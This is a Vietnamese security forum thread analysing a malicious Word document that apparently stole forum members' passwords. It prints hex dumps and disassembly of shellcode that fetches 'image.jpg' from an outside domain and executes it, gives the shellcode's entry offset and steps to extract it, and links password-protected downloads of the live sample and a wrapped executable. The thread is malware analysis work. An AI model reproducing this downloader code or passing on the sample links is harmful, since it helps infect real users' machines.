banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Forum Index Thủ thuật reverse engineering RCE đám virus của Sinh Tử Lệnh.  XML
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 21/05/2011 21:22:18 (+0700) | #1 | 237584
TQN
Elite Member

[Minus]    0    [Plus]
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
[Profile] [PM] [WWW] [Yahoo!]
Nói trước: Em vốn dốt văn, trình bày, viết văn rất dở, hay sai lỗi hỏi ngã. Nên đọc thấy sai, thấy dở thì thông cảm, bỏ qua, khỏi đọc tiếp.

Giới thiệu: Chắc các bạn ở đây đều biết về đám Sinh Tử Lệnh, và chắc phải nhủ thầm: "Đám này ghê gớm thật", và tui cũng nghĩ vậy.
Trong quá trình RE một số con malware của đám này, tui cũng phải thốt lên: Kinh thật, ghê ghớm thật. Trình độ code malware và hệ thống của tụi này rất khá, rất chuyên nghiệp. Chúng dùng nhiều kỹ thuật undocument, ít thấy trong giới viết malware thế giới và hầu như chưa thấy trong đám script kiddie viết virus của VN ta. Nhiều đoạn code tui thấy quen quen nhưng không thể nhớ và nói chính xác là đã gặp ở đâu.

Chuyện bắt đầu từ cái topic năm ngoái về việc anh conmale, admin của diển đàn chúng ta bị đám STL cài keylog và ăn cắp password. Các bạn có thể search xem lại. Lúc ấy tui có pm anh conmale và được anh gởi cho 1 file MS Word, có name: "Danh sach IP.doc". Anh conmale compress lại và gởi cho tui.

Mọi chuyện bắt đầu từ đây, tui cũng bị mất password HVA cũng vì file này. File này được tui upload lên mediafire tại: http://www.mediafire.com/?idgejaug9gnjoj2, password = malware. Quên nói là các bạn không nên mở file .doc này bằng MS Word. Dính malware của STL liền đấy. Havythoai cũng đã hỏi tui file này nhưng lúc đó lu bu và lười quá nên chưa gởi cho Havythoai. Sorry Thoại nhé.

Lúc đó máy tui cài MS Security Essential (cờ rắc để pass WPA), tui đã quét thử file .doc này nhưng MSSE không phát hiện ra. Thậm chí tới bây giờ KAV 2011 (bản quyền đàng hoàng nha) vẫn không phát hiện ra:



Lúc đó thì cái VM trên Virtual PC của tui bị hư, lại vừa mới đi nhậu về, chủ quan sau khi quét xong thấy không có gì liền open ngay. Kết quả, Word đơ luôn. Kill nó, cúp đi ngủ. Sáng ra thấy máy là lạ, phát hiện ra một đống file lạ ngay.

Tới tận bây giờ, VirusToal và ThreadExpert vẫn không phát hiện ra malware trong file .doc này. Dưới đây là kết quả của 2 trang Online Scan đó:
1. http://www.threatexpert.com/report.aspx?md5=386c739a66934bdc84dbd62f335a0f76
2. http://www.virustotal.com/file-scan/report.html?id=381a690f90ce769dd9f323709a54a0cfd62cf516f8dfe2a2c1996e419f591461-1305993552

Tất cả các AV đều không phát hiện ra exploit bug trong file .doc này. Điều này chứng tỏ exploit bug này là undocument, đã có từ năm ngoái và tới bây giờ vẫn không công bố. Và tui dám 90% chắc chắn là exploit này không thể do người VN trong nước phát hiện ra (vì tui nghĩ nếu người VN ta mà phát hiện ra thì đã um xùm lên rồi).
Tui sẽ không phân tích kỹ thuật của exploit này, chỉ tập trung vào phân tích cách xác định shellcode trong file .doc và disassembly/debug xem nó làm gì. Còn exploit thì sẽ có ở topic khác.

PS: Anh em STL vào đây thấy em nói gì sai thì ra mặt chỉ bảo cho newbie như em nhé. Em biết có mấy anh vẫn ở đây thôi.
[Up] [Print Copy]
  [Analyzing]   Tìm và phân tích shellcode của file .doc 21/05/2011 22:47:36 (+0700) | #2 | 237587
TQN
Elite Member

[Minus]    0    [Plus]
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
[Profile] [PM] [WWW] [Yahoo!]
Em vừa chạy ra ngoài, mua mấy lon bia và gói Mèo. Không biết có đủ siêng để post hết không. Gõ và cut, upload hình mệt quá.

Tiếp tục nhé, chúng ta sẽ đi phân tích và tìm shellcode trong file .doc này.
Đầu tiên, và hồi đó, tui dùng OffVis http://go.microsoft.com/fwlink/?LinkId=158791để mở file .doc này lên, xem nó có dùng những well-known exploit nào, hoàn toàn không có.




Chỉ là warning của OffVis do file .doc corrupt nên OffVis không xác định được CVE chính xác, chỉ đưa ra warning: CVE-2006-4534
Tiếp tục, dùng OfficeCat http://www.snort.org/vrt/vrt-resources/officecat để scan, cũng không thấy gì cả, chỉ báo file corrup. Đúng như kết quả của OffVis đưa ra.




Tiếp tục, như các bạn biết, có rất nhiều trình HexEditor, nhưng để analyzer file format thì theo tui tốt nhất và tui đang dùng là 101 Editor và FileInsight. Nhưng 101 Editor là trình "xe que", phải mua (nhưng em thì vẫn đang dùng bản cờ rắc tìm trên Internet smilie), nên em dùng FileInsight http://www.mcafee.com/us/downloads/free-tools/index.aspx để analyzer sơ bộ.
Mở file .doc trong FileInsight, sờ cờ ron tới ron lui lòi ra điểm khả nghi:




Các bạn sẽ thấy ngay các string lộn xộn đó chính là các hàm API quen thuộc mà shellcode thường dùng: GetTempFileNameW, GetTempPathW, RtlZeroMemory, URLDownloadToFile, LoadLibaryA...
Các string này không liền kề nhau, vì các bạn để ý đến left panel bên tay phải, của sổ Disassembly, sẽ thấy là code của STL move từng dword 1 chứa 4 ký tự của các hàm API vào các buffer liền kề nhau (mấy ông nội, sao không đảo thứ tự của các buffer này đi, nếu đảo thì tui tìm sao ra !?)

Tui post chưa xong mà khách ở đâu vào topic này lắm thế: 6 khách rồi à ?
[Up] [Print Copy]
  [Analyzing]   RCE virus của đám Sinh Tử Lệnh. 21/05/2011 23:25:00 (+0700) | #3 | 237589
TQN
Elite Member

[Minus]    0    [Plus]
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
[Profile] [PM] [WWW] [Yahoo!]
Vậy là ta chắc chắn file doc này có chứa shellcode, vấn đề của chúng ta tiếp tục làm là phải extract được shellcode này, xác định được entry point của shellcode, disassembly và debug shellcode, xem thử shellcode này download cái gì về máy tui và máy anh conmale, xác định URL và Whois data của URL đó.
Tool use: OllyDbg, IDA, whois.
Nhưng giờ gần 12h30 rồi, em buồn ngủ quá, xin phép em nghỉ, mai post tiếp. Ngày mai em còn phải hàn, cắt một đống sắt nữa. Mắt em đỏ ngầu rồi.
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 21/05/2011 23:36:47 (+0700) | #4 | 237592
[Avatar]
xnohat
Moderator

Joined: 30/01/2005 13:59:19
Messages: 1210
Location: /dev/null
Offline
[Profile] [PM] [Email] [WWW] [Yahoo!] [MSN]
Lão up image qua một host khác được không ?
Imageshack hình như nó banned HVA domain. Tớ đã add nhiều lần nhưng bọn này nhất quyết không chịu accept HVA domain. Các hình đều hiện con ếch zàng T_T
iJust clear, "What I need to do and how to do it"/i
br
brBox tán gẫu dời về: http://www.facebook.com/hvaonline
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 22/05/2011 06:38:34 (+0700) | #5 | 237602
TQN
Elite Member

[Minus]    0    [Plus]
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
[Profile] [PM] [WWW] [Yahoo!]
Bà con khác xem có được hình không vậy ?
Ngán nhất là cái capture, up hình !
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 22/05/2011 07:38:27 (+0700) | #6 | 237603
[Avatar]
Ikut3
Elite Member

[Minus]    0    [Plus]
Joined: 24/09/2007 23:47:03
Messages: 1429
Location: Nhà hát lớn
Offline
[Profile] [PM] [Yahoo!]
Hình xem tốt anh TQN. Tiếp đi anh smilie

Imageshack bỏ cái trò bắt register mới view được hình anh P ơi
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 22/05/2011 07:41:46 (+0700) | #7 | 237604
[Avatar]
tranhuuphuoc
Moderator

Joined: 05/09/2004 06:08:09
Messages: 865
Location: Lầu Xanh
Offline
[Profile] [PM] [WWW]

TQN wrote:
Bà con khác xem có được hình không vậy ?
Ngán nhất là cái capture, up hình ! 


Anh cứ việc upload lên site nào đó, em sẽ điều chỉnh bài viết của anh, upload hình bài viết lên thư mục hình ảnh trên server của HVA để khỏi bị ban, xoá hình cho anh em tiện việc tham khảo, trao đổi, thảo luận. Em và anh em khác đang mong đợi các bài viết phân tích của anh smilie
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 22/05/2011 22:54:52 (+0700) | #8 | 237653
[Avatar]
quanta
Moderator

Joined: 28/07/2006 14:44:21
Messages: 7265
Location: $ locate `whoami`
Offline
[Profile] [PM]
Hay quá! Anh vẫn chưa đi mua bia về để viết tiếp à?

TQN wrote:

...
Mọi chuyện bắt đầu từ đây, tui cũng bị mất password HVA cũng vì file này. File này được tui upload lên mediafire tại: http://www.mediafire.com/?idgejaug9gnjoj2, password = malware. Quên nói là các bạn không nên mở file .doc này bằng MS Word. Dính malware của STL liền đấy. 

Em thử tải về và extract ra thì được file .bin mà:

$ file virus.doc.bin
virus.doc.bin: Composite Document File V2 Document, Little Endian, Os 0, Version: 3.10, Create Time/Date: Sun Feb 11 19:56:00 1996, Last Printed: Sat Feb 24 14:11:00 1996, Last Saved Time/Date: Sun Mar 3 18:23:00 1996, Number of Words: 5370, Number of Characters: 30612, Total Editing Time: 01:01:00, Number of Pages: 17, Security: 0
 

Thử với `strings`:
Code:
eeb53 GetT
  eeb5d empF
  eeb67 ileN
  eeb71 ameW
  eeb82 GetT
  eeb8c empP
  eeb96 athW
  eeba7 RtlZ
  eebb1 eroM
  eebbb emorf
  eebce Urlm
  eebd8 on.df
  eebf2 URLD
  eebfc ownl
  eec06 oadT
  eec10 oFilf
  eec2a Load
  eec34 Libr
  eec3e aryA
  eecd8 WVUR
  eecf4 8GetPu/
  eecfe rocAu&
  eed07 ddreu
  eed33 Z]^_3
  eee4f Crea
  eee59 tePr
  eee63 ocesf
  eeef7 Term
  eef01 inat
  eef0b ePro
  eef15 cess
  ef81b Normal

hay `bvi`:
Code:
000EEB44  33 C0 66 89 85 4E FD FF FF C7 85 F4 FC FF FF 47 65 74 54 C7 85 F8 FC FF FF 65 6D 70 3.f..N.........GetT......emp
000EEB60  46 C7 85 FC FC FF FF 69 6C 65 4E C7 85 00 FD FF FF 61 6D 65 57 C6 85 04 FD FF FF 00 F......ileN......ameW.......
000EEB7C  C7 85 DC FC FF FF 47 65 74 54 C7 85 E0 FC FF FF 65 6D 70 50 C7 85 E4 FC FF FF 61 74 ......GetT......empP......at
000EEB98  68 57 C6 85 E8 FC FF FF 00 C7 85 C4 FC FF FF 52 74 6C 5A C7 85 C8 FC FF FF 65 72 6F hW.............RtlZ......ero
000EEBB4  4D C7 85 CC FC FF FF 65 6D 6F 72 66 C7 85 D0 FC FF FF 79 00 C7 85 B0 FC FF FF 55 72 M......emorf......y.......Ur
000EEBD0  6C 6D C7 85 B4 FC FF FF 6F 6E 2E 64 66 C7 85 B8 FC FF FF 6C 6C C6 85 BA FC FF FF 00 lm......on.df......ll.......
000EEBEC  C7 85 90 FC FF FF 55 52 4C 44 C7 85 94 FC FF FF 6F 77 6E 6C C7 85 98 FC FF FF 6F 61 ......URLD......ownl......oa
000EEC08  64 54 C7 85 9C FC FF FF 6F 46 69 6C 66 C7 85 A0 FC FF FF 65 57 C6 85 A2 FC FF FF 00 dT......oFilf......eW.......
000EEC24  C7 85 78 FC FF FF 4C 6F 61 64 C7 85 7C FC FF FF 4C 69 62 72 C7 85 80 FC FF FF 61 72 ..x...Load..|...Libr......ar
000EEC40  79 41 C6 85 84 FC FF FF 00 C7 85 3C FC FF FF 6B 00 65 00 C7 85 40 FC FF FF 72 00 6E yA.........<...k.e...@...r.n
000EEC5C  00 C7 85 44 FC FF FF 65 00 6C 00 66 C7 85 48 FC FF FF 33 00 66 C7 85 4A FC FF FF 32 ...D...e.l.f..H...3.f..J...2
000EEC78  00 C7 85 4C FC FF FF 2E 00 64 00 C7 85 50 FC FF FF 6C 00 6C 00 66 C7 85 54 FC FF FF ...L.....d...P...l.l.f..T...
000EEC94  00 00 33 C0 64 8B 15 30 00 00 00 8B 52 0C 8B 52 14 33 F6 33 FF 8B 12 83 FA 00 74 1C ..3.d..0....R..R.3.3......t.
000EECB0  8B 72 28 8D BD 3C FC FF FF B9 0D 00 00 00 56 57 E8 32 FC FF FF 83 F8 00 74 03 EB DD .r(..<........VW.2......t...
000EECCC  CC 8B 52 10 89 95 64 FD FF FF 8B DA 57 56 55 52 8B C3 8B E8 03 40 3C 8B 78 78 03 FD ..R...d.....WVUR.....@<.xx..
000EECE8  8B 77 20 03 F5 33 D2 8B 06 03 C5 81 38 47 65 74 50 75 2F 81 78 04 72 6F 63 41 75 26 .w ..3......8GetPu/.x.rocAu&
000EED04  81 78 08 64 64 72 65 75 1D 66 81 78 0C 73 73 75 15 8B 47 24 03 C5 0F B7 1C 50 8B 47 .x.ddreu.f.x.ssu

Em thì mù tịt khoản này vì thiếu kiến thức căn bản nhưng mà cũng thích ngồi mày mò, nghịch ngợm.

TQN wrote:
Vậy là ta chắc chắn file doc này có chứa shellcode, vấn đề của chúng ta tiếp tục làm là phải extract được shellcode này,
 

Dùng cái MalHost-Setup trong OfficeMalScanner được không anh?

TQN wrote:

xác định được entry point của shellcode,
 

Có gì nhờ anh giải thích kỹ chỗ này nhé.

TQN wrote:

disassembly và debug shellcode, xem thử shellcode này download cái gì về máy tui và máy anh conmale,
 

Em thử với `objdump`, nhưng mà nhìn vào... hoa cả mắt.
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 23/05/2011 09:17:32 (+0700) | #9 | 237673
TQN
Elite Member

[Minus]    0    [Plus]
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
[Profile] [PM] [WWW] [Yahoo!]
Sorry đã để anh em đợi lâu. Chiều hôm qua về đi nhậu với lính, quắc cần câu luôn (nhưng vẫn còn kịp lấy số đt của em tiếp viên). Sáng giờ mệt quá, ở nhà luôn, đầu còn ngu ngu. Nhưng tối nay em về nhà máy rồi, khoảng gần 10 ngày nữa mới vô, nên tranh thủ post cho xong phần debug và tìm URL của con shellcode này.
Như các bạn đã tìm hiểu về shellcode thì sẽ biết, shellcode thường bằng đầu một loạt các lệnh nop, mã hex = 0x90, sau đó sẽ tới các lệnh function prolog thông dụng (ai muốn hiểu rõ thì hỏi lamer):
Code:
push ebp
mov ebp,esp
sub esp, xxxx
........

Chuỗi hex opcode của 3 lệnh trên = 55 8B EC 81 EC.
Hoặc shellcode có thể bắt đầu = code: pushad (0x60), pushfd (0x90).
Ta dùng chính FileInsight, disassembly mode recursively, search 90 90 90 90, ta sẽ tìm được 2 buffer 0x90 lớn, bắt đầu tại offset: 0xEE870, size = 100d và 0xEEF40, size = 1256d bytes.
Tại offset 0xEE8D4, ta thấy ngay mã 55 8B EC cần tìm. Đây chính là entry point của shellcode. Dùng Find của FileInsight, tìm chuỗi hex 55 8B EC, ta chỉ found duy nhất tại điểm đấy.
Shellcode thường chỉ có 1, ít khi 2, nhưng để an toàn, ta tìm tiếp byte 60 90 và 90 60, không có.
Vậy thì tạm kết luận entrypoint của shellcode ở 0xEE8D4:




Tiếp tục, chúng ta đã xác định được shellcode, giờ thì làm sao debug và disassembly nó.
Có rất nhiều cách:
1. Cách đơn giản nhất, patch byte tại EP của shellcode thành Int 3 (0xCC) hay 0xEB 0xFE rồi run Word dưới trình debug. Cách này tui sẽ post ở topic khác để tìm hiểu lỗi parser của Word với OLEStream dị dạng này.
2. Copy đoạn hex code trên từ 0xEE8D4 tới 0xEEF39 rồi dùng các tool, các source shellcode2exe để tạo ra exe rồi analyze và debug.
3. Dùng tool có sẵn. Em chọn cách này, nhanh khoẻ cho rồi.
Như quanta đã nói, Frank Boldewin (một trong những guru về RCE mà em ngưỡng mộ) có viết tool: OfficeMalScanner [ http://www.reconstructer.org/code/OfficeMalScanner.zip]. Ver hiện tại là 0.53, phát hiện được shellcode trong file .doc này. Hồi đó ver 0.3x thì khi em dùng scan thì không.
Các bạn gõ dùng cmdline với options: scan brute debug thì sẽ thấy kết quả giống như kết quả ta đã phát hiện ra trong FileInsight:





Shellcode của tụi STL này có hai điểm dở (sorry mấy đại ca nhé):
1. Đã biết truy xuất PEB address để lấy kernel32.dll base mà không tự parse để address của các hàm API cần dùng mà phải dùng GetProcAddress để lấy.
2. Không dùng API hash để lấy API address
Vì vậy mấy cái string API name mới hiện ra như vậy.

Tiếp tục dùng ct MalHost-Setup.exe trong bộ OfficeMalScanner để tạo exe shellcode để debug:

MalHost-Setup.exe virus.doc virus.exe 0xEE8D4
 

Vậy là ta có file virus.exe wrap shellcode.
File .exe mà MalHost-Setup sinh ra wrap shellcode = Overlay. Khi run nó sẽ extract shellcode ra thư mục %Temp% với tên file là droppedmal, rồi lại load ngược lại file đó = Memory Mapping API, rồi jump ới EP của shellcode (Quái, sao không jump thẵng luôn cho rồi !?)




File virus.exe tui up tại: http://www.mediafire.com/?0zbhz8kahcefijb, password=malware. File này bị các AV detect nên các bạn phải tạm thời tắt AV, không được run, đặt breakpoint tại 0x00401485 để debug shellcode.

Các bạn có thể dùng IDA hay OllyDbg hay bất cứ trình debug nào. Em dùng cả IDA và OllyDbg.
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 23/05/2011 10:41:21 (+0700) | #10 | 237682
TQN
Elite Member

[Minus]    0    [Plus]
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
[Profile] [PM] [WWW] [Yahoo!]
Debug vào shellcode, các bạn sẽ thấy ngay URL của file được download về máy victim (là máy em và máy anh conmale chứ ai).






Kết quả Whois:
Code:
Domain ID:D32531112-LRMS
Domain Name:SMARTSHOW.INFO
Created On:22-Apr-2010 11:06:53 UTC
Last Updated On:03-May-2011 03:00:45 UTC
Expiration Date:22-Apr-2012 11:06:53 UTC
Sponsoring Registrar:OnlineNIC, Inc. (R170-LRMS)
Status:CLIENT HOLD
Status:CLIENT TRANSFER PROHIBITED
Registrant ID:OLNI_196680_0_0
Registrant Name:Domain ID Shield Service
Registrant Organization:Domain ID Shield Service CO., Limited
Registrant Street1:1102-1103,11/F,Kowloon Bldg.,555 Nathan Rd.,Mongkok,Kowloon
Registrant Street2:
Registrant Street3:
Registrant City:Hong Kong
Registrant State/Province:Hong Kong
Registrant Postal Code:999077
Registrant Country:CN
Registrant Phone:+852.22060092
Registrant Phone Ext.:
Registrant FAX:+852.30030133
Registrant FAX Ext.:
Registrant Email:sm324544432187684@domainidshield.com
Admin ID:OLNI_196680_1_0
Admin Name:Domain ID Shield Service
Admin Organization:Domain ID Shield Service CO., Limited
Admin Street1:1102-1103,11/F,Kowloon Bldg.,555 Nathan Rd.,Mongkok,Kowloon
Admin Street2:
Admin Street3:
Admin City:Hong Kong
Admin State/Province:Hong Kong
Admin Postal Code:999077
Admin Country:CN
Admin Phone:+852.22060092
Admin Phone Ext.:
Admin FAX:+852.30030133
Admin FAX Ext.:
Admin Email:sm324544418797681@domainidshield.com
Billing ID:OLNI_196680_3_0
Billing Name:Domain ID Shield Service
Billing Organization:Domain ID Shield Service CO., Limited
Billing Street1:1102-1103,11/F,Kowloon Bldg.,555 Nathan Rd.,Mongkok,Kowloon
Billing Street2:
Billing Street3:
Billing City:Hong Kong
Billing State/Province:Hong Kong
Billing Postal Code:999077
Billing Country:CN
Billing Phone:+852.22060092
Billing Phone Ext.:
Billing FAX:+852.30030133
Billing FAX Ext.:
Billing Email:sm324544489757683@domainidshield.com
Tech ID:OLNI_196680_2_0
Tech Name:Domain ID Shield Service
Tech Organization:Domain ID Shield Service CO., Limited
Tech Street1:1102-1103,11/F,Kowloon Bldg.,555 Nathan Rd.,Mongkok,Kowloon
Tech Street2:
Tech Street3:
Tech City:Hong Kong
Tech State/Province:Hong Kong
Tech Postal Code:999077
Tech Country:CN
Tech Phone:+852.22060092
Tech Phone Ext.:
Tech FAX:+852.30030133
Tech FAX Ext.:
Tech Email:sm324544451417682@domainidshield.com
Name Server:NS1.BYETHOST42.ORG
Name Server:NS2.BYETHOST42.ORG


Lại là HongKong, CN nữa.
Host này không còn hoạt động nữa nên file image.jpg em không lấy về được, còn file mà hồi đó nó drop vào máy em thì em xoá 3 đời 8 hoánh rồi.

Bây giờ em cũng mệt rồi, nên em chỉ nói ngắn gọn các công đoạn của shellcode:
1. Tạo URL string.
2. Tạo API name bằng cách mov từng DWORD API name vào buffer.
3. Lấy PEB address, duyệt module link list để lấy kernel32.dll base address
4. Scan export table của kernel32.dll để lấy address của GetProcAddress
5. Download file image.jpg về %Temp%\randomname
6. Nếu download thành công, call CreateProcess với param là file jpg đó. File đó thực chất là file exe, mở đường cho download một loạt malware khác của mấy "ông nội" STL về máy victim (lại victim nữa, nhắc lại niềm đau của em).
7. Nếu download không thành công, TerminateProcess luôn (WinWord đi luôn).

Code ASM của ShellcodeProc:
Code:
debug008:00148C72      @@BuildURL:                             ; CODE XREF: ShellcodeProc+1Ej
debug008:00148C72  548 sub     esp, 100h
debug008:00148C78  648 mov     eax, 'h'
debug008:00148C7D  648 mov     [ebp+szURL], ax
debug008:00148C84  648 mov     eax, 't'
debug008:00148C89  648 mov     [ebp-2EEh], ax
debug008:00148C90  648 mov     eax, 't'
debug008:00148C95  648 mov     [ebp+var_2EC], ax
debug008:00148C9C  648 mov     eax, 'p'
debug008:00148CA1  648 mov     [ebp+var_2EA], ax
debug008:00148CA8  648 mov     eax, ':'
debug008:00148CAD  648 mov     [ebp+var_2E8], ax
debug008:00148CB4  648 mov     eax, '/'
debug008:00148CB9  648 mov     [ebp+var_2E6], ax
debug008:00148CC0  648 mov     eax, '/'
debug008:00148CC5  648 mov     [ebp+var_2E4], ax
debug008:00148CCC  648 mov     eax, 's'
debug008:00148CD1  648 mov     [ebp+var_2E2], ax
debug008:00148CD8  648 mov     eax, 'm'
debug008:00148CDD  648 mov     [ebp+var_2E0], ax
debug008:00148CE4  648 mov     eax, 'a'
debug008:00148CE9  648 mov     [ebp+var_2DE], ax
debug008:00148CF0  648 mov     eax, 'r'
debug008:00148CF5  648 mov     [ebp+var_2DC], ax
debug008:00148CFC  648 mov     eax, 't'
debug008:00148D01  648 mov     [ebp+var_2DA], ax
debug008:00148D08  648 mov     eax, 's'
debug008:00148D0D  648 mov     [ebp+var_2D8], ax
debug008:00148D14  648 mov     eax, 'h'
debug008:00148D19  648 mov     [ebp+var_2D6], ax
debug008:00148D20  648 mov     eax, 'o'
debug008:00148D25  648 mov     [ebp+var_2D4], ax
debug008:00148D2C  648 mov     eax, 'w'
debug008:00148D31  648 mov     [ebp+var_2D2], ax
debug008:00148D38  648 mov     eax, '.'
debug008:00148D3D  648 mov     [ebp+var_2D0], ax
debug008:00148D44  648 mov     eax, 'i'
debug008:00148D49  648 mov     [ebp+var_2CE], ax
debug008:00148D50  648 mov     eax, 'n'
debug008:00148D55  648 mov     [ebp+var_2CC], ax
debug008:00148D5C  648 mov     eax, 'f'
debug008:00148D61  648 mov     [ebp+var_2CA], ax
debug008:00148D68  648 mov     eax, 'o'
debug008:00148D6D  648 mov     [ebp+var_2C8], ax
debug008:00148D74  648 mov     eax, '/'
debug008:00148D79  648 mov     [ebp+var_2C6], ax
debug008:00148D80  648 mov     eax, 'i'
debug008:00148D85  648 mov     [ebp+var_2C4], ax
debug008:00148D8C  648 mov     eax, 'm'
debug008:00148D91  648 mov     [ebp+var_2C2], ax
debug008:00148D98  648 mov     eax, 'a'
debug008:00148D9D  648 mov     [ebp+var_2C0], ax
debug008:00148DA4  648 mov     eax, 'g'
debug008:00148DA9  648 mov     [ebp+var_2BE], ax
debug008:00148DB0  648 mov     eax, 'e'
debug008:00148DB5  648 mov     [ebp+var_2BC], ax
debug008:00148DBC  648 mov     eax, '.'
debug008:00148DC1  648 mov     [ebp+var_2BA], ax
debug008:00148DC8  648 mov     eax, 'j'
debug008:00148DCD  648 mov     [ebp+var_2B8], ax
debug008:00148DD4  648 mov     eax, 'p'
debug008:00148DD9  648 mov     [ebp+var_2B6], ax
debug008:00148DE0  648 mov     eax, 'g'
debug008:00148DE5  648 mov     [ebp+var_2B4], ax
debug008:00148DEC
debug008:00148DEC      @@BuildAPINames:
debug008:00148DEC  648 xor     eax, eax
debug008:00148DEE  648 mov     [ebp+var_2B2], ax
debug008:00148DF5  648 mov     [ebp+szGetTempFileNameW], 'TteG'
debug008:00148DFF  648 mov     [ebp+var_308], 'Fpme'
debug008:00148E09  648 mov     [ebp+var_304], 'Neli'
debug008:00148E13  648 mov     [ebp+var_300], 'Wema'
debug008:00148E1D  648 mov     [ebp+var_2FC], 0
debug008:00148E24  648 mov     [ebp+szGetTempPathW], 'TteG'
debug008:00148E2E  648 mov     [ebp+var_320], 'Ppme'
debug008:00148E38  648 mov     [ebp+var_31C], 'Whta'
debug008:00148E42  648 mov     [ebp+var_318], 0
debug008:00148E49  648 mov     [ebp+szRtlZeroMemory], 'ZltR'
debug008:00148E53  648 mov     [ebp+var_338], 'More'
debug008:00148E5D  648 mov     [ebp+var_334], 'rome'
debug008:00148E67  648 mov     [ebp+var_330], 79h
debug008:00148E70  648 mov     [ebp+szUrlmon.dll], 'mlrU'
debug008:00148E7A  648 mov     [ebp+var_34C], 'd.no'
debug008:00148E84  648 mov     [ebp+var_348], 'll'
debug008:00148E8D  648 mov     [ebp+var_346], 0
debug008:00148E94  648 mov     [ebp+szURLDownloadToFile], 'DLRU'
debug008:00148E9E  648 mov     [ebp+var_36C], 'lnwo'
debug008:00148EA8  648 mov     [ebp+var_368], 'Tdao'
debug008:00148EB2  648 mov     [ebp+var_364], 'liFo'
debug008:00148EBC  648 mov     [ebp+var_360], 'We'
debug008:00148EC5  648 mov     [ebp+var_35E], 0
debug008:00148ECC  648 mov     [ebp+szLoadLibraryA], 'daoL'
debug008:00148ED6  648 mov     [ebp+var_384], 'rbiL'
debug008:00148EE0  648 mov     [ebp+var_380], 'Ayra'
debug008:00148EEA  648 mov     [ebp+var_37C], 0
debug008:00148EF1  648 mov     [ebp+var_3C4], 65006Bh ; <suspicious> ; kernel32.dll string in Unicode
debug008:00148EFB  648 mov     [ebp+var_3C0], 6E0072h ; <suspicious>
debug008:00148F05  648 mov     [ebp+var_3BC], 6C0065h ; <suspicious>
debug008:00148F0F  648 mov     [ebp+var_3B8], '3'
debug008:00148F18  648 mov     [ebp+var_3B6], '2'
debug008:00148F21  648 mov     [ebp+var_3B4], 64002Eh
debug008:00148F2B  648 mov     [ebp+var_3B0], 6C006Ch ; <suspicious>
debug008:00148F35  648 mov     [ebp+var_3AC], 0
debug008:00148F3E  648 xor     eax, eax
debug008:00148F40  648 mov     edx, large fs:30h
debug008:00148F47  648 mov     edx, [edx+0Ch]
debug008:00148F4A  648 mov     edx, [edx+14h]
debug008:00148F4D  648 xor     esi, esi
debug008:00148F4F  648 xor     edi, edi
debug008:00148F4F
debug008:00148F51
debug008:00148F51      loc_148F51:                             ; CODE XREF: ShellcodeProc+3F6j
debug008:00148F51  648 mov     edx, [edx]
debug008:00148F53  648 cmp     edx, 0
debug008:00148F56  648 jz      short loc_148F74
debug008:00148F56
debug008:00148F58  648 mov     esi, [edx+28h]
debug008:00148F5B  648 lea     edi, [ebp+var_3C4]
debug008:00148F61  648 mov     ecx, 0Dh
debug008:00148F66  648 push    esi
debug008:00148F67  64C push    edi
debug008:00148F68  650 call    @@FindKernel32Base
debug008:00148F68
debug008:00148F6D  650 cmp     eax, 0
debug008:00148F70  650 jz      short @@FindGetProcAddress
debug008:00148F70
debug008:00148F72  650 jmp     short loc_148F51
debug008:00148F72
debug008:00148F74      ; ---------------------------------------------------------------------------
debug008:00148F74
debug008:00148F74      loc_148F74:                             ; CODE XREF: ShellcodeProc+3DAj
debug008:00148F74  648 int     3                               ; Trap to Debugger
debug008:00148F74
debug008:00148F75
debug008:00148F75      @@FindGetProcAddress:                   ; CODE XREF: ShellcodeProc+3F4j
debug008:00148F75  648 mov     edx, [edx+10h]
debug008:00148F78  648 mov     [ebp+hKernel32], edx
debug008:00148F7E  648 mov     ebx, edx
debug008:00148F80  648 push    edi
debug008:00148F81  64C push    esi
debug008:00148F82  650 push    ebp
debug008:00148F83  654 push    edx
debug008:00148F84  658 mov     eax, ebx
debug008:00148F86  658 mov     ebp, eax
debug008:00148F88  658 add     eax, [eax+3Ch]
debug008:00148F8B  658 mov     edi, [eax+78h]
debug008:00148F8E  658 add     edi, ebp
debug008:00148F90  658 mov     esi, [edi+20h]
debug008:00148F93  658 add     esi, ebp
debug008:00148F95  658 xor     edx, edx
debug008:00148F95
debug008:00148F97
debug008:00148F97      @@IsGetProcAddress:                     ; CODE XREF: ShellcodeProc+45Dj
debug008:00148F97  658 mov     eax, [esi]
debug008:00148F99  658 add     eax, ebp
debug008:00148F9B  658 cmp     dword ptr [eax], 'PteG'
debug008:00148FA1  658 jnz     short @@NextName
debug008:00148FA1
debug008:00148FA3  658 cmp     dword ptr [eax+4], 'Acor'
debug008:00148FAA  658 jnz     short @@NextName
debug008:00148FAA
debug008:00148FAC  658 cmp     dword ptr [eax+8], 'erdd'
debug008:00148FB3  658 jnz     short @@NextName
debug008:00148FB3
debug008:00148FB5  658 cmp     word ptr [eax+0Ch], 'ss'
debug008:00148FBB  658 jnz     short @@NextName
debug008:00148FBB
debug008:00148FBD  658 mov     eax, [edi+24h]
debug008:00148FC0  658 add     eax, ebp
debug008:00148FC2  658 movzx   ebx, word ptr [eax+edx*2]
debug008:00148FC6  658 mov     eax, [edi+1Ch]
debug008:00148FC9  658 add     eax, ebp
